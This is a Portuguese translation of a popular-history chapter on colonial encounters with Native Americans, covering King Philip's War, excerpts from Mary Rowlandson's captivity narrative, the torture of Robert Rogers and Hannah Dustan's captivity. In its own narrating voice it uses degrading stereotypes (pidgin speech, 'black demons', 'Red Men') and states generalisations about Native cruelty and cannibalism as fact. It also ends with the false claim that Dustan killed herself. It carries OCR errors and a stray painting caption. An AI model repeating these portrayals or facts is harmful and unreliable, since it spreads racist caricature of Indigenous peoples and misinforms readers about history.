Estranhas aventuras com os índios – The Wonder Book

Estranhas aventuras com os índios – The Wonder Book

Estranhas aventuras com os índios

Henry Thomas

CONTA-SE divertida anedota dos índios, durante a guerra do rei Filipe, no século XVII. Certo capitão Moseley comandava uma companhia de sessenta habitantes da fronteira, que estavam abrindo uma estrada através da floresta. De repente, deram com um bando de trezentos índios, que abriram num berreiro selvagem e se esconderam por trás das árvores. Moseley sabia que eles estavam se preparando para um ataque. Cercou-se de seus homens e lhes disse que se defendessem o melhor que pudessem.

O valente capitão tirou a cabeleira e a introduziu nos calções, para que não lhe estorvasse os movimentos no combate. Imediatamente, os índios que tinham estado a observar tudo lá do bosque, romperam numa horrenda gritaria: "Ui, mim não querer combater homem branco. Homem branco ter duas cabeças. Mim corta uma cabeça, homem branco tira outra cabeça debaixo cinturão!" E todo o bando guerreiro, aterrorizado diante daquele sobrenatural oficial branco, coin duas cabeças, tratou de fugir.

*

Os primeiros colonos viviam num constante temor dos índios, que se abatiam subitamente sobre as colônias brancas e arrebatavam homens, mulheres e crianças.

O que se segue é extraído duma narração escrita peia senhora Mary Rowlandson, esposa de um ministro de Lancaster, a qual fora capturada pelos índios Narragan-sett

A assinatura da Declaração de Independência. (Pintura de John Trumbul).
A assinatura da Declaração de Independência. (Pintura de John Trumbul).

"A dez de fevereiro de 1675, chegaram os índios. Sua primeira chegada foi de madrugada. Ouvindo o barulho de alguns tiros, despertei. Havia três pessoas encerradas numa casa: o pai e a mãe, e uma criança de peito, que eles golpearam na cabeça. Afinal, chegaram e cercaram nossa própria casa, e prontamente foi aquele o mais doloroso-dia que meus olhos jamais viram. Mal havíamos saído,, meu cunhado, que fora ferido antes, na garganta ou perto dela, quando defendia a casa, caiu morto. À vista disso,, os índios lançaram gritos de escárneo e atiraram-se sobre seu corpo, tirando-Ihe as roupas. Uma bala atravessou o meu flanco e as entranhas do meu querido filho, que eu trazia nos braços. Assim fôramos nós chacinados por aqueles gentios sem piedade."

"Os índios se apoderaram de nós, arrastando-me por um caminho e aos meninos por outro, dizendo: "Venha conosco!" Disse-lhes que receava que me quisessem matar. Responderam que se eu consentisse em ir com eles, não nos fariam mal. Oh! aquele horrível espetáculo! De trinta e sete pessoas que havia em nossa casa, eu sozinha escalara para contar esta história ! Oh ! naquela noite, a vista daquelas negras figuras que urravam, cantavam e dan-savam!"

Depois de descrever vivamente a dansa guerreira, que se realizou, para celebrar o massacre sangrento de que fora ela testemunha, a senhora Rowlandson prossegue: "Havia muito antes disto afirmado que se os índios viessem, preferiria ser morta por eles a cair viva em suas mãos, mas quando a provação me chegou, mudou meu modo de pensar…"

"Seguimos viagem e depois de uns instantes, sentaram-se para comer. Ganhei duas espigas de milho e mal virei as costas, roubaram-me uma. Chegou um índio com um cesto de fígado de cavalo. Pedi-lhe um pedaço. Deu-mo. Deitei-o nas brasas para assá-lo, mas antes que ficasse pronto, tomaram-me a maior parte, de modo que me resignei a ficar com o resto e comê-lo tal como estava."

A senhora Rowlandson foi vendida a uma squaw indiana e tornou-se sua escrava. "Minha senhora me deu uma pesada carga para carregar. Queixei-me de que era demasiado pesada. Imediatamente deu-me ela um bofetada e mandou que seguisse."

"Durante todas as marchas, carreguei minha pobre filha. Mas eles não lhe davam nada para comer. E ela partiu deste mundo. Enterrei-a numa colina."

"E quanto àqueles demônios negros, vangloriavam-se, depois dos combates, de haverem matado esse ou aquele capitão, e depois escarneciam e diziam que lhes tinham pregado uma boa peça, enviando-os para o céu, tão cedo."

Entre as delicadas iguarias saboreadas pelos captores da senhora Rowlandson contavam-se as seguintes: tripas e orelhas de cavalos, zorrilhos, cobras cascavéis, cachorros e até mesmo casca de árvores.

Os impulsivos índios sabiam ser tão generosos como eram cruéis. A senhora Rowlandson relata como foi afinal posta em liberdade.

"Depois de onze semanas entre os inimigos, decidiram que eu voltaria para onde estava meu marido e pareciam muito regozijados com isso. Houve quem me pedisse para mandar-lhes algum pão, outros pediram fumo, outros apertaram-me as mãos, oferecendo-me um capuz e uma manta para a viagem."

"Um índio chegou-se a mim e me disse que, se eu quisesse, êle e sua esposa fugiriam e iriam para minha casa comigo. Mas eu recusei. Eu não desejava fugir, mas esperar o tempo que Deus quisesse, para voltar tranquilamente para casa. E então Deus satisfez o meu desejo. Um resgate de vinte libras foi pago pela minha libertação. Quase ao sol posto, dois índios me trouxeram de volta para Lancaster, onde me reuni ao meu querido marido e à minha família."

Muitos prisioneiros não tinham a sorte da senhora Rowlandson. Durante a guerra do rei Filipe, os índios abateram-se sobre a Cachoeira do Salmão e arrebataram um homem chamado Roberto Rogers. Esse homem era tão corpulento que o apelidaram de Porco Baé. Quando a escolta chegou a uma colina, Roberto não foi capaz de galgá-la. Escapuliu-se de seus captores que, depois de cuidadosa procura, encontraram-no escondido no ôco duma árvore. Arrancaram dali o pobre homem, tiraram-lhe as roupas, surraram-no e empurraram-no para diante com suas espadas. Depois deram-lhe um prazo curto, para dizer suas orações. Quando êle acabou, amarraram-no a uma estaca e puseram-lhe fogo. Dansaram em torno dele e tiraram com suas facas de caça, pedaços de carne de seu corpo. Para os Homens Vermelhos não era desagradável naquela ocasião, comer a carne do Homem Branco. Quanto mais que alimento não era coisa muito abundante entre os índios; e além disso, acreditavam que, bebendo o sangue do Homem Branco, embeber-se-iam de algo da sabedoria do Homem Branco.

* * *

A primeiro de março de 1697, os índios invadiram Haverhill. Ana Dustan acabava justamente de dar à luz. Seu marido, juntamente com seus outros oito filhos, escapou. Mas a ama de leite e seu filho recém-nascido foram capturados. A criança teve o crânio rebentado de encontro a uma árvore. Ana foi obrigada a levantar-se da cama. Incendiaram a casa e Ana foi vendida e reduzida à escravidão. Seu senhor era um índio piedoso. A família compreendia dois homens, três mulheres e sete crianças. Rezava-se não menos de três vezes por dia e não se permitia que as crianças fossem dormir sem antes terem rezado. Quando o senhor índio viu Ana e a ama de leite em prantos, disse: "Por que tanta perturbação? Se o vosso Deus quiser ver-vos libertas, êle assim o fará!"

A família viajou para uma cidade além de Penna-cock. Disseram a Ana que, quando chegassem àquela cidade, tirar-lhe-iam as roupas, açoitá-la-iam e a obrigariam a submeter-se às afrontas de toda a escolta indiana, pois era este o habitual modo indiano de tratar os cativos.

Uma manhã, quando estavam eles ainda a uma centena de milhas, distantes de seu destino, Ana acordou ao amanhecer e encontrou a família adormecida. A visão de seu filho recém-nascido, cuja cabeça fora esmigalhada de encontro a uma árvore ergueu-se di?iite dela. Agarrou uma machadinha e, um por um, rebentou os crânios dos selvagens adormecidos. Depois de ter matado toda a família indiana, suicidou-se.

 


Trad. e Adapt. de Oscar Mendes

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